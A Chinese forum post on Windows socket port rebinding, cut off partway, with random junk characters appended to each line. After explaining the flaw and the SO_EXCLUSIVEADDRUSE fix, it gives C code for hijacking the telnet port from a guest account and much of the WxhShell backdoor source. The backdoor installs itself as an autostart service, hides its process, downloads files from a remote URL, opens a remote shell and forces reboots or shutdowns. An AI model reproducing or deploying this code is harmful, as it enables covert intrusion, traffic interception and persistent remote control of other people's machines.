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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Za34/ro/T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |@OJ~5H/{  
nO-d" S*  
  saddr.sin_family = AF_INET;  \8 g.  
A"`L~|&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jDFp31_X  
3s#|Y,{?6R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); >_n:_  
S|s3}]g9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1g+LF[*-~  
aYqqq|  
  这意味着什么?意味着可以进行如下的攻击: fYv ;TV>73  
a"MTQFm'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sTJJE3TBI  
;CLR{t(N#V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YL; SxLY  
aA7S'[NjB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @+[Y0_  
27}.s0{D  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Bb$S^F(Xq  
-t;?P2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e-&L\M  
=]8f"wAh*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "4J?JR  
kO /~i  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 IEKMa   
+#&el//  
  #include 2l]C55p)s  
  #include qb#V)  
  #include wY."Lw> 6  
  #include    =>E44v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   37.) @  
  int main() &Z;Eu'ia  
  { Pcd i  
  WORD wVersionRequested; <FMuWHY  
  DWORD ret; +H5 jRw  
  WSADATA wsaData; RlG'|xaT  
  BOOL val; W\d0  
  SOCKADDR_IN saddr; p\4h$."  
  SOCKADDR_IN scaddr; D3,t6\m  
  int err; ua6*zop  
  SOCKET s; AX!Md:s  
  SOCKET sc; o.v,n1Nm  
  int caddsize; BxW||O|_N"  
  HANDLE mt; EbHUGCMO  
  DWORD tid;   XFLjVrX[  
  wVersionRequested = MAKEWORD( 2, 2 ); x`j_d:C~G  
  err = WSAStartup( wVersionRequested, &wsaData ); <"j"h=tm}  
  if ( err != 0 ) { d#M?lS>  
  printf("error!WSAStartup failed!\n"); oW\Q>c7 =  
  return -1; S1 R #]  
  } FQv02V+&<  
  saddr.sin_family = AF_INET; #UP,;W  
    )^QG-IM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  xLGTnMYd  
jb6ZAT<8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 'PxL^  
  saddr.sin_port = htons(23); ]xVL11p  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j:\_*f  
  { 7ZR0M&pX  
  printf("error!socket failed!\n"); /eI,]CB'z  
  return -1; noD7G2o  
  } `rRg(fCN!M  
  val = TRUE; .*clY  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =r@ie>* U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U iPVZ@?  
  { b_"V%<I  
  printf("error!setsockopt failed!\n"); 1dXO3hot  
  return -1; \t 7zMp  
  } 'ra_Zg[j  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s^x , S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Av[|.~g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K;(|v3g6  
)l/C_WEK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !{|yAt9kP  
  { vb4G_X0S  
  ret=GetLastError(); *? orK o  
  printf("error!bind failed!\n"); ".7 KEnx  
  return -1; Zzzi\5&gU  
  } A?<"^<A^  
  listen(s,2); q'U-{~q%  
  while(1) n ;$}pg ~  
  { N'W >pU  
  caddsize = sizeof(scaddr); ~(L<uFU V  
  //接受连接请求 hgMnO J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yW7S }I  
  if(sc!=INVALID_SOCKET) '$&(+>)z `  
  { -V)5Tr=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fn"jYSy  
  if(mt==NULL) 0yEyt7 ~@  
  { 6T aT_29  
  printf("Thread Creat Failed!\n"); f0s<Y  
  break; !D]6Cq  
  } nCmrt*&}  
  } &-. eu  
  CloseHandle(mt); ri_6 wbPp  
  } MjeI?k}LJ  
  closesocket(s); "7u"d4h-:(  
  WSACleanup(); Q $,kB<M  
  return 0; [,V92-s;N  
  }   x>/@Z6Wxz  
  DWORD WINAPI ClientThread(LPVOID lpParam) g 0_r  
  { _ O71r}4  
  SOCKET ss = (SOCKET)lpParam; lb XkZ,  
  SOCKET sc; ,'0oj$~S:  
  unsigned char buf[4096]; Rhxm)5+  
  SOCKADDR_IN saddr; i /U{dzZ  
  long num; Bd]DhPhJ  
  DWORD val; \7?MUa.4  
  DWORD ret; v-]-wNqT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W}i$f -K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g KY ,G  
  saddr.sin_family = AF_INET; {xx;zjt%}}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); u+T, n  
  saddr.sin_port = htons(23); +as\>"Cj+2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OX`GN#yl  
  { g?Ty5~:lq  
  printf("error!socket failed!\n"); Q`fA)6U  
  return -1; {Q3#]Vu  
  } .j@n6RyN  
  val = 100; 3cQmxp2*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L&k$4,Z9  
  { ju 6_L<  
  ret = GetLastError(); M L_J<|,J  
  return -1; S6:gow(wU  
  } x \{jWR%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U.9nHo{  
  { s9dBXfm  
  ret = GetLastError(); R^C;D 2  
  return -1; ~}l,H:jk@  
  } ^IZ0M1&W;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x1ex}_\  
  { O!yn `< l  
  printf("error!socket connect failed!\n"); &BR?;LD  
  closesocket(sc); XfDQx!gJ  
  closesocket(ss); AFA*_9Ut  
  return -1; pAL-P l9z  
  } !(tJZ5  
  while(1) bhT]zsBK  
  { Ct33S+y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aDEP_b;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9_dsiM7CT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >b${rgCvQ  
  num = recv(ss,buf,4096,0); "61n?Z#,M[  
  if(num>0) :S2MS{>Mo  
  send(sc,buf,num,0); B75SLK:h=  
  else if(num==0) Y'R1\Go-  
  break; @~HD<K  
  num = recv(sc,buf,4096,0); 40ZB;j$l  
  if(num>0) 'D{abm0  
  send(ss,buf,num,0); P;[mw(  
  else if(num==0) a-=apD1RvG  
  break; PUArKBYM-  
  } #$QY[rf=6  
  closesocket(ss); r}bKVne  
  closesocket(sc); hR{Zh>  
  return 0 ; vnpX-c  
  } m#p^'}]!;  
- d6>  
aPgG+tu  
========================================================== &*SnDuc  
ay.IKBXc  
下边附上一个代码,,WXhSHELL Aed"J5[a  
!9NAm?Fw  
========================================================== :Tl?yG F  
64@s|m*  
#include "stdafx.h" WdnP[x9  
 X'<xw  
#include <stdio.h> >Fh@:M7z  
#include <string.h> gw^+[}U#  
#include <windows.h> +f+yh0Dj  
#include <winsock2.h> p,/^x~m3a  
#include <winsvc.h> L&%iY7sC`  
#include <urlmon.h> }vIm C [  
h'+ swPh  
#pragma comment (lib, "Ws2_32.lib") 1F/&Y}X  
#pragma comment (lib, "urlmon.lib") g(^l>niF:  
AJ mzg  
#define MAX_USER   100 // 最大客户端连接数 1<UQJw45  
#define BUF_SOCK   200 // sock buffer T rW3@@}j  
#define KEY_BUFF   255 // 输入 buffer kLP^q+$u)!  
l(W3|W#P  
#define REBOOT     0   // 重启 crQuoOl7  
#define SHUTDOWN   1   // 关机 "-sz7}Mb  
o\N}?Z,Kk  
#define DEF_PORT   5000 // 监听端口 Yc}b&  
"fdG5|NJe  
#define REG_LEN     16   // 注册表键长度 =v8q  
#define SVC_LEN     80   // NT服务名长度 ]Az >W*Y  
`4MPXfoBL  
// 从dll定义API  ar yr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5h&8!!$[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :Pv{ E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Nbda P{{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x8[8z^BV?e  
c<=1,TB"-_  
// wxhshell配置信息 G(>a LF  
struct WSCFG { #R$!|  
  int ws_port;         // 监听端口 _ i8}ld-  
  char ws_passstr[REG_LEN]; // 口令 J{Jxb1:c  
  int ws_autoins;       // 安装标记, 1=yes 0=no e=U7w7(s9  
  char ws_regname[REG_LEN]; // 注册表键名 #X+)  
  char ws_svcname[REG_LEN]; // 服务名 *7ox_ R@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 fXN;N&I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (+@H !>r$$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P7 n~Ui~U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t0Uax-E(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F9hCT)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <m!\Ma  
L_(|5#IDw  
}; PQ j_j#0  
lH[N*9G(  
// default Wxhshell configuration ?Gb 18m  
struct WSCFG wscfg={DEF_PORT, CzgLgh;:T  
    "xuhuanlingzhe", x|Dj   
    1, W \"cp[b  
    "Wxhshell", 4H'9y3dk  
    "Wxhshell", wXP1tM8T  
            "WxhShell Service", ^;'3(m=  
    "Wrsky Windows CmdShell Service", 2axH8ONMu  
    "Please Input Your Password: ", 83@+X4ptp  
  1, bAgKOfT  
  "http://www.wrsky.com/wxhshell.exe", 9%x[z%06  
  "Wxhshell.exe" =T1i(M#  
    }; m2_B(-  
mesR)fTI  
// 消息定义模块 K jLj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZEB1()GB  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A&z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]p~XTZgW  
char *msg_ws_ext="\n\rExit."; 9 eP @}C6  
char *msg_ws_end="\n\rQuit."; " `lRX  
char *msg_ws_boot="\n\rReboot..."; "UE'd Wz  
char *msg_ws_poff="\n\rShutdown..."; >LjvMj ]  
char *msg_ws_down="\n\rSave to "; VBOq~>V6(v  
zITXEorF!J  
char *msg_ws_err="\n\rErr!"; ) yjHABGJ  
char *msg_ws_ok="\n\rOK!"; ;yH/GN#O  
P",53R+"  
char ExeFile[MAX_PATH]; &cZD{Z  
int nUser = 0; $Cte$ jg{;  
HANDLE handles[MAX_USER]; z*:^*,  
int OsIsNt; ^NP" m  
yHCBf)N7\  
SERVICE_STATUS       serviceStatus; vQA: \!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TN&1C8xr  
98x(2fCvF(  
// 函数声明 2+0'vIw}  
int Install(void); 4%B${zP(.}  
int Uninstall(void); _,5(HETE2  
int DownloadFile(char *sURL, SOCKET wsh); Ehg5u'cj  
int Boot(int flag); #  *\PU  
void HideProc(void); [~ fJ/  
int GetOsVer(void); 9v^MZ ^Y{  
int Wxhshell(SOCKET wsl); aVd{XVE  
void TalkWithClient(void *cs);  F`f#gpQ  
int CmdShell(SOCKET sock); *Bc= gl$  
int StartFromService(void); I(pU_7mw  
int StartWxhshell(LPSTR lpCmdLine); UA}k"uM  
Aj-}G^>#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w+ bMDp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .I[uXd  
Z|E( !"zE9  
// 数据结构和表定义 JTrxh]  
SERVICE_TABLE_ENTRY DispatchTable[] = <Cm:4)~  
{ 6M F%$K3  
{wscfg.ws_svcname, NTServiceMain}, A-uEZj_RD=  
{NULL, NULL} v@[MX- ,8  
}; DqbN=[!X~n  
]e 81O#t3  
// 自我安装 qd"*Td  
int Install(void) \3Ys8umKq  
{ Bx;bc  
  char svExeFile[MAX_PATH]; )N<>L/R  
  HKEY key; {}[S,L  
  strcpy(svExeFile,ExeFile); 9w(QM-u  
KR#Bj?fz-H  
// 如果是win9x系统,修改注册表设为自启动 "C%;9_ig$  
if(!OsIsNt) { '3aDvV0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -&y{8<bu4H  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >(p "!  
  RegCloseKey(key); i e%ZX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n"$D/XJO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qbpvTTF  
  RegCloseKey(key); dyD =R  
  return 0; E:L =>}  
    } j'I$F1>Te  
  } &K|<7Efx  
} Fn yA;,*  
else { fo^M`a!va0  
x4Y+?2  
// 如果是NT以上系统,安装为系统服务 [?yOJU%`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G/bWn@  
if (schSCManager!=0) xLPyV&j-  
{ }2-{4JIq}  
  SC_HANDLE schService = CreateService 8S &`  
  ( LEKN%2  
  schSCManager, Y6,< j|  
  wscfg.ws_svcname, J+kxb"#d  
  wscfg.ws_svcdisp, J#!:Z8b  
  SERVICE_ALL_ACCESS, ; P&K a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N yFa2Ihd  
  SERVICE_AUTO_START, R4%!W~K  
  SERVICE_ERROR_NORMAL, Zm4IN3FGLv  
  svExeFile, H_3S#.  
  NULL, W -8<sv$b  
  NULL, p9y "0A|  
  NULL, 3W5|Y@0  
  NULL, Ot`jjZ&  
  NULL r\.1=c#"bP  
  ); b,cA mZ  
  if (schService!=0) "W?k~.uw  
  { (>%Ddj6_>  
  CloseServiceHandle(schService); e%afK@c  
  CloseServiceHandle(schSCManager); 4w}\2&=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *1$rg?yGf  
  strcat(svExeFile,wscfg.ws_svcname); (dLt$<F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hl8-1M$&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dw5.vXL`  
  RegCloseKey(key); @TdPeTw\  
  return 0; Zm >Q-7r9  
    } R#"kh/M  
  } FVPhk2  
  CloseServiceHandle(schSCManager); xa[<k >r3  
} ! k)}p_e  
} 3J7TWOJVw  
ZT5t~5W  
return 1; vQ#$.*Cvn  
} #I'W[\l~+  
;]D@KxO$dJ  
// 自我卸载 :bkACuaEn  
int Uninstall(void) j7K9T  
{ M`*B/Fh 2  
  HKEY key; KJo [!|.  
2Vxr  
if(!OsIsNt) { r  /63  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  oJ ~ZzW  
  RegDeleteValue(key,wscfg.ws_regname); s#/JMvQ#  
  RegCloseKey(key); f ?_YdVZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *]nha1!S  
  RegDeleteValue(key,wscfg.ws_regname); CkE@ Ll3Z  
  RegCloseKey(key); 5"u-oE&  
  return 0; }QU9+<Z[r  
  } IAf,TKfe  
} {+r pMUs#  
} _A|1_^[G(  
else { .Qg!_C  
 VT96ph  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @C62%fU{5  
if (schSCManager!=0) T8h.!Vef  
{ {9vvj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <mjH#aSy  
  if (schService!=0) -l+ &Bkf  
  { {";5n7<<)  
  if(DeleteService(schService)!=0) { %Qgo0  
  CloseServiceHandle(schService); JryDbGc8  
  CloseServiceHandle(schSCManager); #Z;ziM:  
  return 0; zhY V M Q  
  } W?mn8Y;{`  
  CloseServiceHandle(schService); t_6sDr'.  
  } IzF7W?k  
  CloseServiceHandle(schSCManager); [X0Wfb}{  
} E]WammX c  
} Vh$~]>t:f  
%Js3Y9AL C  
return 1; EgM.wQHR]  
} IE.JIi^w  
G,9osTt/  
// 从指定url下载文件 <&\HXAOd  
int DownloadFile(char *sURL, SOCKET wsh) 3.U5Each-  
{ 1v!Xx+}  
  HRESULT hr; u`dWU}m)  
char seps[]= "/"; u4bPj2N8I  
char *token; k<wX??'  
char *file; hPF9y@lh  
char myURL[MAX_PATH]; =;!C7VS  
char myFILE[MAX_PATH]; jo{[*]Oa  
I$xfCu  
strcpy(myURL,sURL); &?YbAo_K  
  token=strtok(myURL,seps); vT"T*FKh:  
  while(token!=NULL) VFz (U)._  
  { U4qp?g+:  
    file=token; 9:"%j  
  token=strtok(NULL,seps); = q9>~E{}  
  } ^]o]'  
h~{TCK+I  
GetCurrentDirectory(MAX_PATH,myFILE); Qc#<RbLL  
strcat(myFILE, "\\"); w^e<p~i!^E  
strcat(myFILE, file); ]n1@!qa48  
  send(wsh,myFILE,strlen(myFILE),0); o#gb+[  
send(wsh,"...",3,0); +!Q<gWb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y3 @R>@$  
  if(hr==S_OK) RX}6H<5R  
return 0; x~C%Hp*#  
else U1G"T(;s:  
return 1; ?RJ ) u  
^M6xRkI  
} RhIRCN9  
4<fKB&  
// 系统电源模块 lg FA}p@  
int Boot(int flag) f#}P>,TP  
{ 37Ux2t  
  HANDLE hToken; !]=  
  TOKEN_PRIVILEGES tkp; Z8$n-0Ww  
u^T)4~(  
  if(OsIsNt) { B'"(qzE-kM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oG~a`9N%C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); tQE=c 7/M  
    tkp.PrivilegeCount = 1; *-"DZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BS*IrH H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hvCX,^LoJ  
if(flag==REBOOT) { XM o#LS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G6wBZ?)k  
  return 0; vpu20?E>5z  
} ovJwo r  
else { 6qg_&woJ3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~/s(.oji  
  return 0; F_0vh;Jo  
} I?c "\Fe  
  } `Mx&,;x  
  else { &U/7D!^X  
if(flag==REBOOT) { k+ [V%[U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ) Zud|%L  
  return 0; @9S3u#vP  
} gI<e=|J6w  
else { ? IgM=@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zzOc # /  
  return 0; j_L1KB*  
} _"Yi>.{]  
} Mg3>/!  
CqHCJ '  
return 1; '4 T}$a"i  
} #mu3`,9V  
a&oz<4oT  
// win9x进程隐藏模块 K[} 5bjh>  
void HideProc(void) !Ab4'4f  
{ 2P)*Y5`KBH  
 peW4J<,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L[v-5u)  
  if ( hKernel != NULL ) 3i1e1Lj1  
  { kB~KC-&O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [!Uzw 2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |VC|@ Q  
    FreeLibrary(hKernel); rBNl%+ sB  
  } c*F'x-TH  
!<`}m E!:  
return; J* V@huF  
} /;P* ?  
x@^Kd*fo  
// 获取操作系统版本 n`'v8 `a]  
int GetOsVer(void) ynkPI6o  
{ 7,vvL8\NHu  
  OSVERSIONINFO winfo; ~\4`tc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); > wsS75n1  
  GetVersionEx(&winfo); o0SQJ1.a$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) IC5[:UZ5]  
  return 1; [Ol}GvzJ7  
  else *c"tW8uR  
  return 0; (y^[k {#  
} Hzos$1DJ  
c:;m BS>~  
// 客户端句柄模块 fg[]>:ZT.  
int Wxhshell(SOCKET wsl) [}p/pj=  
{ 2VSs#z!  
  SOCKET wsh; lawjGI  
  struct sockaddr_in client; =lyP &u  
  DWORD myID; F|Y}X|x8Q  
Gvo|uB#  
  while(nUser<MAX_USER) "l83O8 L  
{ ]{2Eo  
  int nSize=sizeof(client); =2sj$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); e G8Zn<:s  
  if(wsh==INVALID_SOCKET) return 1; X{8/]'(  
;0R|#9oX_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .)eJL  
if(handles[nUser]==0) QtF'x<cB  
  closesocket(wsh); Y$tgz)  
else IiX`l6L~W  
  nUser++; u+U '|6)E  
  } hU 3z4|~+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kaKV{;UM  
K/^70;/!.  
  return 0; ^F}HWpF_  
} 0zscOE{  
0u,OW  
// 关闭 socket  ~\0uy3%  
void CloseIt(SOCKET wsh) d-cK`pSB  
{ tA,#!Z0  
closesocket(wsh); VW," dmC  
nUser--; wF@mHv  
ExitThread(0); oM')NIW@  
} $ N7J:Q  
fJjtrvNy)  
// 客户端请求句柄 p_K` `JE  
void TalkWithClient(void *cs) #gHs!b-g@  
{ #5Zf6w  
GpW5)a  
  SOCKET wsh=(SOCKET)cs; 8ec6J*b  
  char pwd[SVC_LEN]; )2 Omsh  
  char cmd[KEY_BUFF]; kO1.27D  
char chr[1]; j|WuOZm\0  
int i,j; e~wuoE:M3  
%Pz'D6 /  
  while (nUser < MAX_USER) { gEejLyOag  
4{[cXM8*j  
if(wscfg.ws_passstr) { .6@qU}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?<Tt1fpG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E0g` xf 6c  
  //ZeroMemory(pwd,KEY_BUFF); 'h?;i2[  
      i=0; )^G&p[G  
  while(i<SVC_LEN) { 4bT21J37  
[c{/0*  
  // 设置超时 x B%Felz  
  fd_set FdRead; L(a){<c  
  struct timeval TimeOut; 71nI`.Z  
  FD_ZERO(&FdRead); #0i] g)  
  FD_SET(wsh,&FdRead); =bVaB<!  
  TimeOut.tv_sec=8; (#4   
  TimeOut.tv_usec=0; i2PPVT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [&Kn&bdKW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UR/l M,N;  
JWu^7}@~=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F?+K~['i  
  pwd=chr[0]; %T.4Aj  
  if(chr[0]==0xd || chr[0]==0xa) { sj)$o94=  
  pwd=0; ERql^Yr  
  break; =Ws-s f]  
  } %&c+} m  
  i++; KUr}?sdz  
    } uP'x{Pr)  
[OH9/ "  
  // 如果是非法用户,关闭 socket $oefG}h2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XQ+KI:g2  
} kc0YWW Q-:  
8s,B,s.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OygR5s +  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4t(V)1+  
g$++\%k&  
while(1) { CS:"F) at  
|<,!K;@  
  ZeroMemory(cmd,KEY_BUFF); G0Q8"]  
gAy,uP~,  
      // 自动支持客户端 telnet标准   MroJ!.9  
  j=0; qO yg&]7  
  while(j<KEY_BUFF) { [LwmzmV+F  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @`qhQ  
  cmd[j]=chr[0]; {Z>OAR#   
  if(chr[0]==0xa || chr[0]==0xd) { we<m%pf  
  cmd[j]=0; &_q&TEi  
  break; O-rHfIxY  
  } &ukYTDM  
  j++; l;4},N  
    } k79" xyXX  
Vb0((c%&  
  // 下载文件 gZ!vRO <%  
  if(strstr(cmd,"http://")) { 3JB?G>\!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YT)jBS~&  
  if(DownloadFile(cmd,wsh)) s~ZLnEb  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gr\UI!]F  
  else A}(&At%n4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \KlOj%s  
  } C_SJ4Sh  
  else { Tw:j}ERq  
)aW;w|#n  
    switch(cmd[0]) { \2q!2XWgK  
  OH2Xxr[bQ  
  // 帮助 -L;sv0  
  case '?': { 9oOr-9t3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;pK/t=$  
    break; Pr |u_^  
  } 9M3XHj  
  // 安装 |@{4zoP_N  
  case 'i': { ~x:\xQti  
    if(Install()) sEpY&6*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FerQA9K)x  
    else /U |@sw4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "~ 1:7{k  
    break; ,+0#.N s$  
    } ~b.C[s  
  // 卸载 ElJM. a  
  case 'r': { T%GdvtmS>  
    if(Uninstall()) 8UH c,np  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eko$c,&jY  
    else MHh>~Y(h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oD_n+95B  
    break; 3v~804kWB  
    } 5F#Q1gP-  
  // 显示 wxhshell 所在路径 AfU~k!4`  
  case 'p': { U^ bF}4m  
    char svExeFile[MAX_PATH]; JQ-O=8]  
    strcpy(svExeFile,"\n\r"); >=G-^z:  
      strcat(svExeFile,ExeFile); 60 D0z  
        send(wsh,svExeFile,strlen(svExeFile),0); *G'R+_tdE  
    break; N3J T[7  
    } 5u(,g1s}UZ  
  // 重启 `:=af[n   
  case 'b': { m Mp(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xvx5@lx  
    if(Boot(REBOOT)) +M@,CbqD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Y NV  
    else { Dt)O60X3>  
    closesocket(wsh); (jR7D"I  
    ExitThread(0); Wq5Nc  
    } ]/G~ L  
    break; T7F)'Mx<  
    } *@2+$fgz  
  // 关机 N*Is_V\R  
  case 'd': { hUL5V1-j  
